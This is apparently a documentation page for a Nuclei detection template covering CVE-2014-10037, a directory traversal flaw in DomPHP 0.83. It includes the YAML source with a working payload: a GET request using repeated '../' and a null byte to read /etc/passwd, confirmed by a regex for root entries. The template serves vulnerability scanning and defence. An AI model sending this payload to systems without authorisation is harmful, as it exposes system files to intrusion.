Skip to content
Nuclei Templates

DomPHP 0.83 - Directory Traversal

ID: CVE-2014-10037

Severity: high

Author: daffainfo

Tags: cve2014,cve,lfi,edb,domphp

Description

Section titled “Description”

A directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impacts via a .. (dot dot) in the url parameter to photoalbum/index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2014-10037


info:
  name: DomPHP 0.83 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impacts via a .. (dot dot) in the url parameter to photoalbum/index.php.
  impact: |
    An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade to a patched version of DomPHP or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/30865
    - https://nvd.nist.gov/vuln/detail/CVE-2014-10037
    - http://www.exploit-db.com/exploits/30865
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/90582
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-10037
    cwe-id: CWE-22
    epss-score: 0.14101
    epss-percentile: 0.95548
    cpe: cpe:2.3:a:domphp:domphp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: domphp
    product: domphp
  tags: cve2014,cve,lfi,edb,domphp


http:
  - method: GET
    path:
      - "{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a5f7ad9bb7727df8a89e3be820807721b4b3ff2d3c30f27283f4c75e970cbb6202210088f6663a15364b7dd13796737741aed65526449b70144b7315fe8a734e460ea8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-10037.yaml"

View on Github